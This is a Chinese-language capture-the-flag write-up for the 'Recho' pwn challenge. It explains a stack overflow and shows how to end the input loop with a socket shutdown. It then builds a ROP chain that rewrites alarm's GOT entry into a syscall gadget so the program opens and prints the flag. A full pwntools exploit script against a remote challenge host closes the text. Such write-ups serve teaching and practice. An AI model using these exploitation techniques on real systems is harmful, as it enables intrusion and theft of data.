0x00:查看檔案資訊
一個64位二進制檔案,canary和PIE保護機制沒開,
0x01:用IDA進行靜態分析

分析:主程式部分是一個while回圈,判斷條件是read回傳值大于0則回圈,函式atoi()是將一個字串轉換成整型資料,看栗子:

這樣子v7可以由我們所決定,所以很明顯第15行存在堆疊溢位,
個人想法:
看到程式有一堆輸入輸出函式,我首先想到的是ret2libc3,在嘗試的程序中發現無論如何都跳不出while回圈,使用io=send('')不可以,思考無果,上網找WP,在海師傅的文章中,了解到可以用shutdown函式進行操作,而且海師傅是以另外的思路進行泄露的,下面我就借鑒海師傅的思路進行描述,
0x02:深入分析
首先說一下結束回圈的方法:
使用io.shutdown('write')進行關閉(為啥是write呢?)
測驗一下:
read不可以,send可以???,recv不可以,在測驗sendline時,報錯看到了重要資訊:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']",所以說明只能用這六個引數,然后繼續測驗,in不可以,out可以),
這樣子的話,這樣總結為不要以程式為物件,而是看引數的函式操縱資料的流向,write、send、out可以,說明由內向外是可以的,反則反方向不可以,(很抱歉,由于資料缺乏,難以從本質上了解,目前先這么考慮著)
另外,因為關閉后就不能打開了,除非重新運行程式,所以我們就不能再次ROP到主函式獲取輸入了,這樣很明顯就不能用ret2libc3泄露了,雖然你可以第一次泄露出遠程libc的版本,但由于機器一般都開有aslr保護機制,這樣子libc加載的位置就會在重新執行后發生了改變了,
所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag,
可以構造這樣的代碼來get flag:
1、int fd = open("flag",READONLY) (注:READONLY=0)
2、read(fd,buf,100)
3、printf(buf)
1、int fd = open("flag",READONLY)
程式中已經匯入了write、printf、alarm、read函式,還缺個open函式,open和這些已匯入的函式都是通過系統呼叫進行呼叫的,所以libc中應該有系統呼叫的相關指令,然后改變rax暫存器,使系統呼叫號變為open的就可以了,
先了解一下32位和64位下的匯編指令的系統呼叫:
- 32位:
- 傳參方式:首先將系統呼叫號傳入eax,然后將引數從左到右依次存入ebx、ecx、edx暫存器中,回傳值存在eax暫存器中,
- 呼叫號:sys_read為3,sys_write為4
- 呼叫方式:使用int 80h中斷進行系統呼叫
- 64位:
- 傳參方式:首先將系統呼叫號傳入rax,然后將引數從左到右依次存入rdi、rsi、rdx暫存器中,回傳值存在rax暫存器中,
- 呼叫號:sys_read為0,sys_write為1,sys_open為2
- 呼叫方式:使用syscall指令進行系統呼叫
隨便打開個libc,查看alarm函式:

系統呼叫指令syscall在alarm起始位置偏移5的位置,可以對alarm.got的值加5,這需要對libc的函式地址運行一次后加載到got表上后進行操作,這里有個gadget可以達到該目的:

分別對這兩行右鍵,進行undefine,然后對第一行右鍵,進行code,就可以得到如下gadget:

指令 add [rdi],al ,我們可以先讓rdi = got['alarm'],然后使al = 5,這樣執行完該指令后,alarm對應的got表的值就指向了syscall指令,
其它相關的指令:

想要看機器碼的,可以在options->general進行設定:

在改了alarm.got為syscall后,在跳轉到syscall開始系統呼叫之前,還需要做好與open函式相關的準備,有rax=2、rdi=&"flag"、rsi = 0,
pop rax前面已經找出來了,至于字串"flag"的話,在程式中是有的,但在ida中用shift+f12是看不到的,可能是因為"flag"在資料段,但是shift+f12沒有查找資料段的,我們可以在linux終端用strings ./Recho命令查看,或者用ida的選單欄中的查找文本功能,

字串"flag":

pop rsi指令在__libc_csu_init處有,不過沒那么"純",倒也不影響:
![]()
這一段的payload: payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt)
2、read(fd,buf,100)
檔案描述符0、1、2程式已經默認分配了,前面用open函式打開檔案的檔案描述符應該是3(不行的話可以試試4、5、6……),buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)

這樣子,這一部分的payload為: payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
3、printf(buf)
用printf函式把第二部分存入stdin_buffer的flag列印出來,
其payload為:
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
整體EXP:
from pwn import * import time context(os='linux', arch='amd64', log_level='debug') #io = process("./Recho") io = remote("111.200.241.244",59230) elf = ELF("./Recho") pop_rax = 0x4006FC pop_rdx = 0x4006FE pop_rsi_r15 = 0x4008A1 pop_rdi = 0x4008A3 rdi_add = 0x40070D flag = 0x601058 stdin_buffer = 0x601070 alarm_got = elf.got['alarm'] alarm_plt = elf.plt['alarm'] read_plt = elf.plt['read'] printf_plt = elf.plt['printf'] io.recvuntil("Welcome to Recho server!\n") io.sendline("400") payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt) payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()
0x03:個人感觸
累~
這題要在程式里面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看匯編,深入理解程式執行程序中匯編指令的協助,二進制的道路,任重而道遠~
tolele
2022-07-02
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/498797.html
標籤:訊息安全
下一篇:攻防世界pwn題:warmup
